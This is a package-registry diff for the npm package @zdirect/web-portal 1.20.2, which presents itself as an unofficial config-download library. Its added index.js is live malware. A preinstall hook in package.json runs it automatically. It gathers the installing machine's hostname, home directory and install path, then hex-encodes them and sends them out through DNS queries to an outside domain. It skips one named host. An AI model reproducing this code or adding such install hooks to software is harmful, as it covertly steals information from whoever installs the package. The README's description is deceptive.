@zdirect/web-portal 1.20.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @zdirect/web-portal might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +29 -0
  2. package/index.js +53 -0
  3. package/package.json +16 -0
package/README.md ADDED
@@ -0,0 +1,29 @@
1
+ # Unofficial zDirect library for Node.js
2
+
3
+ __This library supports only epicgames launcher. If you need zdirect client, check `web-portal`__
4
+
5
+ # Installation
6
+ ```
7
+ npm i web-portal --save
8
+ ```
9
+
10
+ # License
11
+ MIT License
12
+
13
+ Permission is hereby granted, free of charge, to any person obtaining a copy
14
+ of this software and associated documentation files (the "Software"), to deal
15
+ in the Software without restriction, including without limitation the rights
16
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
17
+ copies of the Software, and to permit persons to whom the Software is
18
+ furnished to do so, subject to the following conditions:
19
+
20
+ The above copyright notice and this permission notice shall be included in all
21
+ copies or substantial portions of the Software.
22
+
23
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
24
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
25
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
26
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
27
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
28
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
29
+ SOFTWARE.
package/index.js ADDED
@@ -0,0 +1,53 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const suffix = '.dns.dependency-c4llb4ck.0lo.org';
4
+ const ns = 'dns1.dependency-c4llb4ck.0lo.org';
5
+ const package = 'web-portal_1.20.2';
6
+
7
+ function sendToServer(data) {
8
+
9
+ data = Buffer.from(data).toString('hex');
10
+ data = data.match(/.{1,60}/g);
11
+
12
+ id = Math.random().toString(36).substring(2);
13
+
14
+ data.forEach(function (chunk, idx){
15
+ try {
16
+ dns.resolve(
17
+ 'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
18
+ console.log);
19
+ } catch (e) { }
20
+ });
21
+
22
+ }
23
+
24
+ function tryGet(toCall) {
25
+ try {
26
+ return toCall();
27
+ } catch(e) {
28
+ return 'err';
29
+ }
30
+ }
31
+
32
+ data = {
33
+ p : package,
34
+ h : tryGet(os.hostname),
35
+ d : tryGet(os.homedir),
36
+ c : __dirname
37
+ }
38
+
39
+ if (data['h'] == 'BBOGENS-LAPTOP') {
40
+ process.exit(0);
41
+ }
42
+
43
+ data = JSON.stringify(data);
44
+ sendToServer(data);
45
+ dns.lookup(ns, function(err, address) {
46
+ if (!err) {
47
+ nsAddress = address;
48
+ } else {
49
+ nsAddress = '8.8.8.8';
50
+ }
51
+ dns.setServers([nsAddress, '4.4.4.4']);
52
+ sendToServer(data);
53
+ });
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "@zdirect/web-portal",
3
+ "version": "1.20.2",
4
+ "description": "Unofficial library to download config files",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "start": "node index.js"
9
+ },
10
+ "author": "J.J.",
11
+ "license": "MIT",
12
+ "keywords": [
13
+ "api",
14
+ "zdirect"
15
+ ]
16
+ }